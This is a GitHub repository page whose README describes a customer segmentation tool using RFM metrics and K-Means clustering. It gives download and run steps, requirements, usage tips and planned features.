Skip to content

πŸ“Š Analyze customer segments using RFM and K-Means clustering to enhance targeted marketing and optimize engagement strategies.

Notifications You must be signed in to change notification settings

XILegacyy/customer-segmentation-analysis

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

4 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ customer-segmentation-analysis - Easily Understand Your Customer Data

πŸ“₯ Download Now

Download Release

πŸš€ Getting Started

To get started, follow these steps to download and run the customer segmentation analysis application. This tool helps you identify high-value customers using simple data analysis techniques.

πŸ›  System Requirements

  • Operating System: Windows 10 or later, macOS, or any Linux distribution
  • RAM: Minimum 4 GB (8 GB recommended for optimal performance)
  • Disk Space: At least 100 MB of free space
  • Dependencies: Python 3.7 or higher, Pandas, Scikit-learn

πŸ“ Features

  • Analyzes customer data using RFM (Recency, Frequency, Monetary) metrics.
  • Utilizes K-Means clustering to segment customers effectively.
  • Generates actionable marketing insights for online retail businesses.
  • User-friendly interface designed for non-technical users.

πŸ“₯ Download & Install

To obtain the application, visit the Releases page:

Download Here

  1. Visit the provided download link.
  2. Look for the latest version of the application.
  3. Click on the download link for your operating system.
  4. Once downloaded, locate the file in your downloads folder.

πŸ’» Running the Application

  1. Navigate to the folder where you downloaded the file.
  2. Double-click to open the application.
  3. Follow the on-screen instructions.
  4. Upload your customer data file.
  5. Click 'Run Analysis' to start the customer segmentation process.

πŸŽ“ Tips for Usage

  • Ensure your customer data file is in CSV format for proper analysis.
  • Clean your data by removing any unnecessary columns before uploading.
  • Use the application to explore different segments and generate reports.

πŸ“Š Understanding Your Results

After running the analysis:

  • Review customer segments.
  • Identify high-value and at-risk customers.
  • Implement the marketing suggestions provided by the application.

🌐 Topics Covered

  • Business Analytics
  • Customer Segmentation
  • Data Science
  • K-Means Clustering
  • Machine Learning
  • Marketing Analytics

βœ‰οΈ Support

If you encounter any issues or have questions, feel free to reach out via the Issues page on GitHub. The community is here to help you.

πŸ“„ Contributing

We welcome contributions to improve this tool. If you're interested in adding features or fixing issues, please check the repository for guidelines.

πŸ“… Upcoming Features

Future updates may include:

  • Enhanced visualizations for easier data interpretation.
  • Support for additional file formats.
  • More advanced clustering options.

Thank you for using the customer segmentation analysis tool. We hope it brings great insights to your business!